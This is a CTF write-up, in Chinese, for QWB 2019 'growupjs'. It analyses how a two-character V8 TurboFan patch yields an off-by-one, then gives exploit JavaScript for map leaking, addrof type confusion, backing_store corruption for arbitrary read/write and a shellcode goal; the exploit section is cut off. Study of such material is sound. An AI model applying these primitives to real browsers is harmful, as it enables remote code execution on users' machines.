QWB CTF 2019 growupjs解题思路

2019-08-09 约 3714 字 预计阅读 18 分钟

声明:本文 【QWB CTF 2019 growupjs解题思路】 由作者 p4nda 于 2019-08-09 07:39:00 首发 先知社区 曾经 浏览数 18 次

感谢 p4nda 的辛苦付出!

一个两字节patch导致的off-by-one,最终造成类型混淆,执行shellcode。
编译了一个d8程序用于验证和利用漏洞,相关附件下载

CheckBound优化流程

首先在原有的simplified-lowering阶段,CheckBound节点并不被消除,而是设置为kAbortOnOutOfBounds模式,并替换为CheckedUint32Bounds

void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) {
    CheckParameters const& p = CheckParametersOf(node->op());
    Type const index_type = TypeOf(node->InputAt(0));
    Type const length_type = TypeOf(node->InputAt(1));
    if (length_type.Is(Type::Unsigned31())) {
      if (index_type.Is(Type::Integral32OrMinusZero())) {
        // Map -0 to 0, and the values in the [-2^31,-1] range to the
        // [2^31,2^32-1] range, which will be considered out-of-bounds
        // as well, because the {length_type} is limited to Unsigned31.
        VisitBinop(node, UseInfo::TruncatingWord32(),
                   MachineRepresentation::kWord32);
        if (lower()) {
          CheckBoundsParameters::Mode mode =
              CheckBoundsParameters::kDeoptOnOutOfBounds;
          if (lowering->poisoning_level_ ==
                  PoisoningMitigationLevel::kDontPoison &&
              (index_type.IsNone() || length_type.IsNone() ||
               (index_type.Min() >= 0.0 &&
                index_type.Max() < length_type.Min()))) {
            // The bounds check is redundant if we already know that
            // the index is within the bounds of [0.0, length[.
            mode = CheckBoundsParameters::kAbortOnOutOfBounds;
          }
          NodeProperties::ChangeOp(
              node, simplified()->CheckedUint32Bounds(p.feedback(), mode));
        }
      }

而在此之前,该位置如下,可见原先利用节点消除的漏洞利用方法不能使用了。

if (lower()) {
          if (lowering->poisoning_level_ ==
                  PoisoningMitigationLevel::kDontPoison &&
              (index_type.IsNone() || length_type.IsNone() ||
               (index_type.Min() >= 0.0 &&
                index_type.Max() < length_type.Min()))) {
            // The bounds check is redundant if we already know that
            // the index is within the bounds of [0.0, length[.
            DeferReplacement(node, node->InputAt(0));
          } else {
            NodeProperties::ChangeOp(
                node, simplified()->CheckedUint32Bounds(p.feedback()));
          }
        }

Effect linearization阶段,CheckedUint32Bounds节点会被优化成Uint32LessThan,并绑定上其TrueFalse分支。

Node* EffectControlLinearizer::LowerCheckedUint32Bounds(Node* node,
                                                        Node* frame_state) {
  Node* index = node->InputAt(0);
  Node* limit = node->InputAt(1);
  const CheckBoundsParameters& params = CheckBoundsParametersOf(node->op());

  Node* check = __ Uint32LessThan(index, limit);
  switch (params.mode()) {
    case CheckBoundsParameters::kDeoptOnOutOfBounds:
      __ DeoptimizeIfNot(DeoptimizeReason::kOutOfBounds,
                         params.check_parameters().feedback(), check,
                         frame_state, IsSafetyCheck::kCriticalSafetyCheck);
      break;
    case CheckBoundsParameters::kAbortOnOutOfBounds: {
      auto if_abort = __ MakeDeferredLabel();
      auto done = __ MakeLabel();

      __ Branch(check, &done, &if_abort);

      __ Bind(&if_abort);
      __ Unreachable();
      __ Goto(&done);

      __ Bind(&done);
      break;
    }
  }

  return index;
}

而在lateoptimize阶段,将其优化为左值<右值这个表达式,即一个永真或者永假条件。

// Perform constant folding and strength reduction on machine operators.
Reduction MachineOperatorReducer::Reduce(Node* node) {
  switch (node->opcode()) {
// [...]
    case IrOpcode::kUint32LessThan: {
      Uint32BinopMatcher m(node);
      if (m.left().Is(kMaxUInt32)) return ReplaceBool(false);  // M < x => false
      if (m.right().Is(0)) return ReplaceBool(false);          // x < 0 => false
      if (m.IsFoldable()) {                                    // K < K => K
        return ReplaceBool(m.left().Value() < m.right().Value());
      }
      if (m.LeftEqualsRight()) return ReplaceBool(false);  // x < x => false
      if (m.left().IsWord32Sar() && m.right().HasValue()) {
        Int32BinopMatcher mleft(m.left().node());
        if (mleft.right().HasValue()) {
          // (x >> K) < C => x < (C << K)
          // when C < (M >> K)
          const uint32_t c = m.right().Value();
          const uint32_t k = mleft.right().Value() & 0x1F;
          if (c < static_cast<uint32_t>(kMaxInt >> k)) {
            node->ReplaceInput(0, mleft.left().node());
            node->ReplaceInput(1, Uint32Constant(c << k));
            return Changed(node);
          }
          // TODO(turbofan): else the comparison is always true.
        }
      }
      break;
    }

此后,另一个分支就变成了一个不可达的分支,最终在brancheliminate中被剪掉,达到和早期未patch版本同样的目的,但要求多了很多。

题目分析

而从题目来看,题目只patch了两个字符,就是在上面

return ReplaceBool(m.left().Value() < m.right().Value());

改为了

return ReplaceBool(m.left().Value() < m.right().Value() + 1);

这样的话,就算达到访问一个element的下一个节点,这个checkBound也会被优化掉,从而有个off-by-one,如果能达到这一点,就和*ctf 2019oob这题一模一样了,但那题的实现是增加了一个builtin函数,不需要利用优化,而此题需要在优化的前提下才能用,而且必须使CheckBound达到上述代码的位置。

测试样例分析

测试代码:

var opt_me2 = () => {
  let arr = [1,2,3,4];
  index = 4;
  return arr[index];
};
for (var i = 0; i < 0x10000; ++i)
  opt_me2();

可以发现使用上述测试样例并不能触发OOB,其原因也十分有趣,同样来源于优化过程。

首先通过--trace-turbo对优化过程的IR进行记录,发现在LoopPeeling阶段,44节点是一个值比较结点,而47结点是从element中读取数据,也就是实际执行arr[index]的这个节点。


但在下一阶段loadelimination中,比较4447两个节点都消失了,最终结果将返回2结点(undefined)。


可以查看一下loadelimination都做了什么,从源码中可以看到主要以AddReducer方法添加了10个reducer

void Run(PipelineData* data, Zone* temp_zone) {
    GraphReducer graph_reducer(temp_zone, data->graph(),
                               &data->info()->tick_counter(),
                               data->jsgraph()->Dead());
    BranchElimination branch_condition_elimination(&graph_reducer,
                                                   data->jsgraph(), temp_zone);
    DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(),
                                              data->common(), temp_zone);
    RedundancyElimination redundancy_elimination(&graph_reducer, temp_zone);
    LoadElimination load_elimination(&graph_reducer, data->jsgraph(),
                                     temp_zone);
    CheckpointElimination checkpoint_elimination(&graph_reducer);
    ValueNumberingReducer value_numbering(temp_zone, data->graph()->zone());
    CommonOperatorReducer common_reducer(&graph_reducer, data->graph(),
                                         data->broker(), data->common(),
                                         data->machine(), temp_zone);
    TypedOptimization typed_optimization(&graph_reducer, data->dependencies(),
                                         data->jsgraph(), data->broker());
    ConstantFoldingReducer constant_folding_reducer(
        &graph_reducer, data->jsgraph(), data->broker());
    TypeNarrowingReducer type_narrowing_reducer(&graph_reducer, data->jsgraph(),
                                                data->broker());
    AddReducer(data, &graph_reducer, &branch_condition_elimination);
    AddReducer(data, &graph_reducer, &dead_code_elimination);
    AddReducer(data, &graph_reducer, &redundancy_elimination);
    AddReducer(data, &graph_reducer, &load_elimination);
    AddReducer(data, &graph_reducer, &type_narrowing_reducer);
    AddReducer(data, &graph_reducer, &constant_folding_reducer);
    AddReducer(data, &graph_reducer, &typed_optimization);
    AddReducer(data, &graph_reducer, &checkpoint_elimination);
    AddReducer(data, &graph_reducer, &common_reducer);
    AddReducer(data, &graph_reducer, &value_numbering);
    graph_reducer.ReduceGraph();
  }

而在graph_reducer.ReduceGraph中将分别对每个节点调用上述添加的10个*::Reduce()方法。

Reduction GraphReducer::Reduce(Node* const node) {
  auto skip = reducers_.end();
  for (auto i = reducers_.begin(); i != reducers_.end();) {
    if (i != skip) {
      tick_counter_->DoTick();
      Reduction reduction = (*i)->Reduce(node);
      if (!reduction.Changed()) {
        // No change from this reducer.
      } else if (reduction.replacement() == node) {
        // {replacement} == {node} represents an in-place reduction. Rerun
        // all the other reducers for this node, as now there may be more
        // opportunities for reduction.
        if (FLAG_trace_turbo_reduction) {
          StdoutStream{} << "- In-place update of " << *node << " by reducer "
                         << (*i)->reducer_name() << std::endl;
        }
        skip = i;
        i = reducers_.begin();
        continue;
      } else {
        // {node} was replaced by another node.
        if (FLAG_trace_turbo_reduction) {
          StdoutStream{} << "- Replacement of " << *node << " with "
                         << *(reduction.replacement()) << " by reducer "
                         << (*i)->reducer_name() << std::endl;
        }
        return reduction;
      }
    }
    ++i;
  }
  if (skip == reducers_.end()) {
    // No change from any reducer.
    return Reducer::NoChange();
  }
  // At least one reducer did some in-place reduction.
  return Reducer::Changed(node);
}

使用trace-turbo-reduction对节点的修改和替换细节进行分析,可以发现在如下部分,首先是NumberLessThan(43, 16)内容被TypeNarrowingReducer更新,然后被ConstantFoldingReducer替换成HeapConstant固定值false,最终导致45节点True的分支变成不可达的节点,最终被DeadCodeElimination清理掉,造成没有触发OOB

- In-place update of 44: NumberLessThan(43, 16) by reducer TypeNarrowingReducer
- Replacement of 44: NumberLessThan(43, 16) with 55: HeapConstant[0x210c2b740709 <false>] by reducer ConstantFoldingReducer
- In-place update of 45: Branch[True|CriticalSafetyCheck](55, 12) by reducer BranchElimination
- Replacement of 45: Branch[True|CriticalSafetyCheck](55, 12) with 70: Dead by reducer CommonOperatorReducer
- Replacement of 47: LoadElement[tagged base, 16, Signed32, kRepTaggedSigned|kTypeInt32, FullWriteBarrier](59, 43, 43, 70) with 70: Dead by reducer DeadCodeElimination

首先跟踪TypeNarrowingReducer,可以看到当opcodekNumberLessThan时,如果左节点的最小值大于右节点的最大值时,类型会被op_typer_.singleton_false();,是一个HeapConstant

Reduction TypeNarrowingReducer::Reduce(Node* node) {
  DisallowHeapAccess no_heap_access;

  Type new_type = Type::Any();

  switch (node->opcode()) {
    case IrOpcode::kNumberLessThan: {
      // TODO(turbofan) Reuse the logic from typer.cc (by integrating relational
      // comparisons with the operation typer).
      Type left_type = NodeProperties::GetType(node->InputAt(0));
      Type right_type = NodeProperties::GetType(node->InputAt(1));
      if (left_type.Is(Type::PlainNumber()) &&
          right_type.Is(Type::PlainNumber())) {
        if (left_type.Max() < right_type.Min()) {
          new_type = op_typer_.singleton_true();
        } else if (left_type.Min() >= right_type.Max()) {
          new_type = op_typer_.singleton_false();
        }
      }
      break;
    }
 //[...]         
  Type original_type = NodeProperties::GetType(node);
  Type restricted = Type::Intersect(new_type, original_type, zone());
  if (!original_type.Is(restricted)) {
    NodeProperties::SetType(node, restricted);
    return Changed(node);
  }
  return NoChange();
}

从日志中可以发现其左节点是43,从IR可以发现其范围是[4,4],右节点是16 ,是一个常量值[4]

- Replacement of 41: LoadField[tagged base, 24, Range(0, 134217726), kRepTaggedSigned|kTypeInt32, NoWriteBarrier, mutable](68, 17, 12) with 16: NumberConstant[4] by reducer LoadElimination

因此,在ConstantFoldingReducer::Reduce中,44节点将被生成的一个HeapConstant节点替代。

Reduction ConstantFoldingReducer::Reduce(Node* node) {
  DisallowHeapAccess no_heap_access;
  // Check if the output type is a singleton.  In that case we already know the
  // result value and can simply replace the node if it's eliminable.
  if (!NodeProperties::IsConstant(node) && NodeProperties::IsTyped(node) &&
      node->op()->HasProperty(Operator::kEliminatable)) {
    // TODO(v8:5303): We must not eliminate FinishRegion here. This special
    // case can be removed once we have separate operators for value and
    // effect regions.
    if (node->opcode() == IrOpcode::kFinishRegion) return NoChange();
    // We can only constant-fold nodes here, that are known to not cause any
    // side-effect, may it be a JavaScript observable side-effect or a possible
    // eager deoptimization exit (i.e. {node} has an operator that doesn't have
    // the Operator::kNoDeopt property).
    Type upper = NodeProperties::GetType(node);
    if (!upper.IsNone()) {
      Node* replacement = nullptr;
      if (upper.IsHeapConstant()) {
        replacement = jsgraph()->Constant(upper.AsHeapConstant()->Ref());
 //[...]         
      if (replacement) {
        // Make sure the node has a type.
        if (!NodeProperties::IsTyped(replacement)) {
          NodeProperties::SetType(replacement, upper);
        }
        ReplaceWithValue(node, replacement);
        return Changed(replacement);
      }
    }
  }
  return NoChange();
}

因此,想要触发OOB必须规避掉以上路径。可以从43节点和16节点两方面考虑。首先说16节点,其来自于41节点的优化

- In-place update of 41: LoadField[tagged base, 24, Range(0, 134217726), kRepTaggedSigned|kTypeInt32, NoWriteBarrier, mutable](68, 17, 12) by reducer RedundancyElimination
- Replacement of 41: LoadField[tagged base, 24, Range(0, 134217726), kRepTaggedSigned|kTypeInt32, NoWriteBarrier, mutable](68, 17, 12) with 16: NumberConstant[4] by reducer LoadElimination

op搜索的参数field_index不是0时,到相应的object中找到相关偏移的节点代替掉这个LoadField节点,可见这个就是直接取出了要访问element的长度,似乎无法改变。

Reduction LoadElimination::ReduceLoadField(Node* node,
                                           FieldAccess const& access) {
  Node* object = NodeProperties::GetValueInput(node, 0);
  Node* effect = NodeProperties::GetEffectInput(node);
  Node* control = NodeProperties::GetControlInput(node);
  AbstractState const* state = node_states_.Get(effect);
  if (state == nullptr) return NoChange();
  if (access.offset == HeapObject::kMapOffset &&
//[...]
  } else {
    int field_index = FieldIndexOf(access);
    if (field_index >= 0) {
      PropertyConstness constness = access.constness;
      MachineRepresentation representation =
          access.machine_type.representation();
      FieldInfo const* lookup_result =
          state->LookupField(object, field_index, constness);
      if (!lookup_result && constness == PropertyConstness::kConst) {
        lookup_result = state->LookupField(object, field_index,
                                           PropertyConstness::kMutable);
      }
      if (lookup_result) {
        // Make sure we don't reuse values that were recorded with a different
        // representation or resurrect dead {replacement} nodes.
        Node* replacement = lookup_result->value;
        if (IsCompatible(representation, lookup_result->representation) &&
            !replacement->IsDead()) {
          // Introduce a TypeGuard if the type of the {replacement} node is not
          // a subtype of the original {node}'s type.
          if (!NodeProperties::GetType(replacement)
                   .Is(NodeProperties::GetType(node))) {
            Type replacement_type = Type::Intersect(
                NodeProperties::GetType(node),
                NodeProperties::GetType(replacement), graph()->zone());
            replacement = effect =
                graph()->NewNode(common()->TypeGuard(replacement_type),
                                 replacement, effect, control);
            NodeProperties::SetType(replacement, replacement_type);
          }
          ReplaceWithValue(node, replacement, effect);
          return Replace(replacement);
        }
      }
      FieldInfo info(node, access.name, representation);
      state = state->AddField(object, field_index, info, constness, zone());
    }
  }
  Handle<Map> field_map;
  if (access.map.ToHandle(&field_map)) {
    state = state->SetMaps(node, ZoneHandleSet<Map>(field_map), zone());
  }
  return UpdateState(node, state);
}

而另一节点43 typer的路径如下:

Reduction Reduce(Node* node) override {
    if (node->op()->ValueOutputCount() == 0) return NoChange();
    switch (node->opcode()) {
#define DECLARE_CASE(x) \
  case IrOpcode::k##x:  \
    return UpdateType(node, TypeBinaryOp(node, x##Typer));
      JS_SIMPLE_BINOP_LIST(DECLARE_CASE)
#undef DECLARE_CASE

#define DECLARE_CASE(x) \
  case IrOpcode::k##x:  \
    return UpdateType(node, Type##x(node));
      DECLARE_CASE(Start)
      DECLARE_CASE(IfException)
      // VALUE_OP_LIST without JS_SIMPLE_BINOP_LIST:
      COMMON_OP_LIST(DECLARE_CASE)
      SIMPLIFIED_COMPARE_BINOP_LIST(DECLARE_CASE)
      SIMPLIFIED_OTHER_OP_LIST(DECLARE_CASE) // [here]

SIMPLIFIED_OTHER_OP_LIST定义如下

#define SIMPLIFIED_OTHER_OP_LIST(V)     \
// [...]
  V(CheckBounds)                        \
  V(CheckIf)                            \

因此这个分支就变成了

case IrOpcode::kCheckBounds:  \
    return UpdateType(node, TypeCheckBounds(node));

TypeCheckBounds定义如下,取第一个和第二个输入节点的类型,调用CheckBounds

Type Typer::Visitor::TypeCheckBounds(Node* node) {
  return typer_->operation_typer_.CheckBounds(Operand(node, 0),
                                              Operand(node, 1));
}

CheckBounds定义如下,显然index是一个实际的范围,而length负责控制其最大边界,而最终取indexmask的交集。

Type OperationTyper::CheckBounds(Type index, Type length) {
  DCHECK(length.Is(cache_->kPositiveSafeInteger));
  if (length.Is(cache_->kSingletonZero)) return Type::None();
  Type mask = Type::Range(0.0, length.Max() - 1, zone());
  if (index.Maybe(Type::MinusZero())) {
    index = Type::Union(index, cache_->kSingletonZero, zone());
  }
  return Type::Intersect(index, mask, zone());
}
Type Type::Intersect(Type type1, Type type2, Zone* zone) {
  // Fast case: bit sets.
  if (type1.IsBitset() && type2.IsBitset()) {
    return NewBitset(type1.AsBitset() & type2.AsBitset());
  }

  // Fast case: top or bottom types.
  if (type1.IsNone() || type2.IsAny()) return type1;  // Shortcut.
  if (type2.IsNone() || type1.IsAny()) return type2;  // Shortcut.

  // Semi-fast case.
  if (type1.Is(type2)) return type1;
  if (type2.Is(type1)) return type2;

  // Slow case: create union.

  // Semantic subtyping check - this is needed for consistency with the
  // semi-fast case above.
  if (type1.Is(type2)) {
    type2 = Any();
  } else if (type2.Is(type1)) {
    type1 = Any();
  }

  bitset bits = type1.BitsetGlb() & type2.BitsetGlb();
  int size1 = type1.IsUnion() ? type1.AsUnion()->Length() : 1;
  int size2 = type2.IsUnion() ? type2.AsUnion()->Length() : 1;
  int size;
  if (base::bits::SignedAddOverflow32(size1, size2, &size)) return Any();
  if (base::bits::SignedAddOverflow32(size, 2, &size)) return Any();
  UnionType* result = UnionType::New(size, zone);
  size = 0;

  // Deal with bitsets.
  result->Set(size++, NewBitset(bits));

  RangeType::Limits lims = RangeType::Limits::Empty();
  size = IntersectAux(type1, type2, result, size, &lims, zone);

  // If the range is not empty, then insert it into the union and
  // remove the number bits from the bitset.
  if (!lims.IsEmpty()) {
    size = UpdateRange(Type::Range(lims, zone), result, size, zone);

    // Remove the number bits.
    bitset number_bits = BitsetType::NumberBits(bits);
    bits &= ~number_bits;
    result->Set(0, NewBitset(bits));
  }
  return NormalizeUnion(result, size, zone);
}

对于测试demo,其0、1两个节点的范围如下:

显然就是取[4,4]和[0,2147483646]的交集,因此CheckBoundstyper结果是[4,4]。最终导致满足uintlessthan的优化条件left_type.Min() >= right_type.Max(),被优化成永假。

poc构造

综上,分析了测试样例不能触发OOB的原因,首先要想办法绕过loadelimination阶段对loadelement节点的消除。

可以发现一个显然的途径是在CheckBoundstyper阶段做文章,如果让CheckBounds节点的范围并非单一值而是一个范围,保证最小值小于要访问element的范围,就不会满足消除的条件(left_type.Min() >= right_type.Max()),而核心问题是对第一个输入的节点范围的扩展,因为CheckBounds的范围基本由此确定。

长亭发表的一篇writeup中提到了两种解决方案,第一种是对index增加一个and操作idx &= 0xfff;,这种方法会在原来NumberConstant[4]下面增加一个SpeculativeNumberBitwiseAnd节点。

而这个节点的typer实现如下:

Type OperationTyper::NumberBitwiseAnd(Type lhs, Type rhs) {
  DCHECK(lhs.Is(Type::Number()));
  DCHECK(rhs.Is(Type::Number()));

  lhs = NumberToInt32(lhs);
  rhs = NumberToInt32(rhs);

  if (lhs.IsNone() || rhs.IsNone()) return Type::None();

  double lmin = lhs.Min();
  double rmin = rhs.Min();
  double lmax = lhs.Max();
  double rmax = rhs.Max();
  double min = kMinInt;
  // And-ing any two values results in a value no larger than their maximum.
  // Even no larger than their minimum if both values are non-negative.
  double max =
      lmin >= 0 && rmin >= 0 ? std::min(lmax, rmax) : std::max(lmax, rmax);
  // And-ing with a non-negative value x causes the result to be between
  // zero and x.
  if (lmin >= 0) {
    min = 0;
    max = std::min(max, lmax);
  }
  if (rmin >= 0) {
    min = 0;
    max = std::min(max, rmax);
  }
  return Type::Range(min, max, zone());
}

其中lmin、lmax255rmin、rmax4,因此最终该节点的范围(0,4),传递至CheckBounds节点并不满足这消除条件,可以触发漏洞。

第二种,由于逃逸分析阶段在LoadElimination后一阶段,因此在typer时,无法直接分析出从array中取出的index具体值,只能将其分析为Signed32,最终CheckBounds的范围为(0,2147483646)

此外,还可以利用Phi节点来达到同样的目的,当某个值存在分支时,Turbofan会将增加一个phi节点,并将这两个值都加入节点的范围去传递,那么poc同样可以这样构造

var opt_me = (x) => {
  let arr = [1,2,3,4.1];
  let index = 0;
  if(x = 'p4nda')
    index = 4;
  return arr[index];
};
for (var i = 0; i < 0x10000; ++i)
  opt_me('test');
console.log(opt_me('p4nda'));

则构造的IR图如下

执行结果如下:

# p4nda @ ubuntu in ~/chromium/v8/v8/out.gn/x64.debug/log on git:749f0727a2 x [10:39:33] C:130
$ ../d8 ./test.js                                                                                                      
-1.1885946300594787e+148

addrof原语构造

现在在element上存在一个off-by-one。对于一个JSArray,其数据结构本身与element内存分布存在两种布局,一种是elememt在低地址,一般用var a = [1.1,1.2,1.3]这样的方式构建;另一种是element在高地址,一般用var a = Array(4)这样的方式构建。由于二者内存位置紧邻,因此,可以通过off-by-one泄露或者修改一个对象的map地址,从而造成type confuse

一个简单的想法就是将一个存放了objJSArraymap改为全部存放double类型的JSArray map

首先泄露比较简单,利用之前的poc可以将arrmap,并将arr加入一个全局的Array防止map被释放。

function get_map_opt(x){
        let arr = [1.1,1.2,1.3,1.4];
        let arr_ele = [arr,arr,arr,arr];

        let index = 0;
        if(x = 'p4nda'){index = 4;}
        return [arr[index],arr,arr_ele];
    }
    function get_map(){
        var tmp ;
        for(var i = 0; i< 10000;i++){
            tmp = get_map_opt('test');
        }
        double_map = tmp[0];
        element_map =Add(Int64.fromDouble(double_map), 0xa0).asDouble();
        global_var.push(tmp[1]);
        global_var.push(tmp[2]);
    }
    get_map();

在拿到了一个PACKED_DOUBLE_ELEMENTS类型的map时,就可以对一个PACKED_ELEMENTS类型的JSArray造类型混淆了。这里有一个坑点,就是不能对一个PACKED_ELEMENTS类型的map位置直接写一个double,因为element一共有三种类型,并且是不可逆的改变,向PACKED_ELEMENTS类型的elementdouble会将double转换为一个HeapNumber,也是一个HeapObject,而非double值本身。

例如:

# p4nda @ ubuntu in ~/chromium/v8/v8/out.gn/x64.debug on git:749f0727a2 x [10:26:24] 
$ cat ./log/test.js
let a = [1.1,1.2];
let b = [1,2];
let c = [a,b];
%DebugPrint(c);
c[0] = 1.1;
%DebugPrint(c);

# p4nda @ ubuntu in ~/chromium/v8/v8/out.gn/x64.debug on git:749f0727a2 x [10:26:37] 
$ ./d8 --allow-natives-syntax ./log/test.js
DebugPrint: 0x39d386b0b441: [JSArray]
 - map: 0x2bd1746c3069 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x2e535e811859 <JSArray[0]>
 - elements: 0x39d386b0b421 <FixedArray[2]> [PACKED_ELEMENTS]
 - length: 2
 - properties: 0x1c1fd9680c21 <FixedArray[0]> {
    #length: 0x2c68462c01a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x39d386b0b421 <FixedArray[2]> {
           0: 0x39d386b0b3e1 <JSArray[2]>
           1: 0x39d386b0b401 <JSArray[2]>
 }

DebugPrint: 0x39d386b0b441: [JSArray]
 - map: 0x2bd1746c3069 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x2e535e811859 <JSArray[0]>
 - elements: 0x39d386b0b421 <FixedArray[2]> [PACKED_ELEMENTS]
 - length: 2
 - properties: 0x1c1fd9680c21 <FixedArray[0]> {
    #length: 0x2c68462c01a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x39d386b0b421 <FixedArray[2]> {
           0: 0x2e535e81f8a9 <HeapNumber 1.1>
           1: 0x39d386b0b401 <JSArray[2]>
 }

因此需要做一下转换,对一个写满double_mapJSArray(PACKED_DOUBLE_ELEMEMTS类型)造类型混淆,使其混淆为PACKED_ELEMENT类型,这样再去其中的一个变量向PACKED_ELEMENT类型的JSArray写入,即可将其混淆为PACKED_DOUBLE_ELEMENT类型,从而读出其中object的地址。

function prepare_double_map_opt(x){
        let arr = [double_map,double_map,double_map,double_map];
        let index = 0;
        if(x = 'p4nda'){index = 4;}
        arr[index] = element_map;
        return arr;
    }

    function prepare_double_map(){
        var tmp;
        for (var i = 0; i< 10000;i++){
            tmp = prepare_double_map_opt();
        }
        return tmp[1];
    }

    double_map_obj = prepare_double_map();

    function addrof_opt(obj){
        var a = [obj, obj, obj, obj];
        let index = 0;
        if(x = 'p4nda'){index = 4};
        a[index] = double_map_obj; 
        return a;
    }
    function addrof(obj){
        for(var i = 0;i<100000;i++){
            var a = addrof_opt(obj);
        }
        return a[0];
    }

任意地址读写构造

JSArray数据可以存放于三个位置,以数字下标访问的存放于elements,以value:key访问的如果是初始化的时定义的,直接存于数据结构中,其余后续加入的存于properties,而对于键值对访问的数据,其键值查找方式存于map中,那么如果可以对一个JSArraymap进行修改,通过键值对访问的方式,对后续数据进行修改。

首先,获取一个含有properties很多的一个JSArraymap,

function get_array_map_opt(x){
        let a = Array(2);
        a[0] = 1.1;
        a[1] = 1.2;
        let b = {a0:1.1 , a1:1.1 , a2:1.1 , a3:1.1 , a4:1.1 , a5:1.1 , a6:1.1 , a7:1.1 , a8:1.1 , a9:1.1 , a10:1.1 , a11:1.1 , a12:1.1 , a13:1.1 , a14:1.1 , a15:1.1 , a16:1.1 , a17:1.1 , a18:1.1 , a19:1.1 , a20:1.1 , a21:1.1 , a22:1.1 , a23:1.1 , a24:1.1 , a25:1.1 , a26:1.1 , a27:1.1 , a28:1.1 , a29:1.1};
        let index = 0;
        if(x = 'p4nda'){index = 2;}
        return [a[index],b];
    }

    function get_array_map(){
        for(var i = 0; i< 10000; i++){
            var tmp = get_array_map_opt();
        }
        array_map  = tmp[0];
        global_tmp.push(tmp[1]);
    }
    get_array_map();

通过布局使一个JSArrayBuffer恰好处于紧邻一个JSArray的高地址位置,这样将JSArraymap修改为以上map,就可以不断修改backing_store了,由于这个布局相对稳定,因此可以重复使用。

function get_victim_obj_opt(x){
        let b = [11.1,1.1];     
        let index = 0;
        if (x = 'p4nda'){index = 2;}
        b[index] = array_map;
        console.log(b.length);
        return b;

    }
    function get_victim_obj(){
        for (var i = 0 ; i < 10000; i++){
            var tmp = get_victim_obj_opt();
        }
        victim_arraybuffer = new ArrayBuffer(0x100);
        victim_jsarray = tmp;
    }

    get_victim_obj();

通过访问victim_jsarray.a5实际上读写的是victim_arraybufferbacking_store成员,通过对victim_arraybuffer读写达到任意地址读写的目的。

最终,通过wasm对象,找到rwx-区域,执行shellcode

EXP

function gc()
{
    /*fill-up the 1MB semi-space page, force V8 to scavenge NewSpace.*/
    for(var i=0;i<((1024 * 1024)/0x10);i++)
    {
        var a= new String();
    }
}
function give_me_a_clean_newspace()
{
    /*force V8 to scavenge NewSpace twice to get a clean NewSpace.*/
    gc()
    gc()
}
let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);
function d2u(v) {
    f64[0] = v;
    return u32;
}
function u2d(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64;
}
function hex(b) {
    return ('0' + b.toString(16)).substr(-2);
}
// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
    var res = [];
    for (var i = 0; i < bytes.length; i++)
        res.push(hex(bytes[i]));
    return res.join('');
}
// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
    if (hexstr.length % 2 == 1)
        throw new TypeError("Invalid hex string");
    var bytes = new Uint8Array(hexstr.length / 2);
    for (var i = 0; i < hexstr.length; i += 2)
        bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
    return bytes;
}
function hexdump(data) {
    if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
        data = Array.from(data);
    var lines = [];
    for (var i = 0; i < data.length; i += 16) {
        var chunk = data.slice(i, i+16);
        var parts = chunk.map(hex);
        if (parts.length > 8)
            parts.splice(8, 0, ' ');
        lines.push(parts.join(' '));
    }
    return lines.join('\n');
}
// Simplified version of the similarly named python module.
var Struct = (function() {
    // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
    var buffer      = new ArrayBuffer(8);
    var byteView    = new Uint8Array(buffer);
    var uint32View  = new Uint32Array(buffer);
    var float64View = new Float64Array(buffer);
    return {
        pack: function(type, value) {
            var view = type;        // See below
            view[0] = value;
            return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
        },
        unpack: function(type, bytes) {
            if (bytes.length !== type.BYTES_PER_ELEMENT)
                throw Error("Invalid bytearray");
            var view = type;        // See below
            byteView.set(bytes);
            return view[0];
        },
        // Available types.
        int8:    byteView,
        int32:   uint32View,
        float64: float64View
    };
})();
//
// Tiny module that provides big (64bit) integers.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js
//
// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
    // The underlying byte array.
    var bytes = new Uint8Array(8);
    switch (typeof v) {
        case 'number':
            v = '0x' + Math.floor(v).toString(16);
        case 'string':
            if (v.startsWith('0x'))
                v = v.substr(2);
            if (v.length % 2 == 1)
                v = '0' + v;
            var bigEndian = unhexlify(v, 8);
            bytes.set(Array.from(bigEndian).reverse());
            break;
        case 'object':
            if (v instanceof Int64) {
                bytes.set(v.bytes());
            } else {
                if (v.length != 8)
                    throw TypeError("Array must have excactly 8 elements.");
                bytes.set(v);
            }
            break;
        case 'undefined':
            break;
        default:
            throw TypeError("Int64 constructor requires an argument.");
    }
    // Return a double whith the same underlying bit representation.
    this.asDouble = function() {
        // Check for NaN
        if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
            throw new RangeError("Integer can not be represented by a double");
        return Struct.unpack(Struct.float64, bytes);
    };
    // Return a javascript value with the same underlying bit representation.
    // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
    // due to double conversion constraints.
    this.asJSValue = function() {
        if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
            throw new RangeError("Integer can not be represented by a JSValue");
        // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
        this.assignSub(this, 0x1000000000000);
        var res = Struct.unpack(Struct.float64, bytes);
        this.assignAdd(this, 0x1000000000000);
        return res;
    };
    // Return the underlying bytes of this number as array.
    this.bytes = function() {
        return Array.from(bytes);
    };
    // Return the byte at the given index.
    this.byteAt = function(i) {
        return bytes[i];
    };
    // Return the value of this number as unsigned hex string.
    this.toString = function() {
        return '0x' + hexlify(Array.from(bytes).reverse());
    };
    // Basic arithmetic.
    // These functions assign the result of the computation to their 'this' object.
    // Decorator for Int64 instance operations. Takes care
    // of converting arguments to Int64 instances if required.
    function operation(f, nargs) {
        return function() {
            if (arguments.length != nargs)
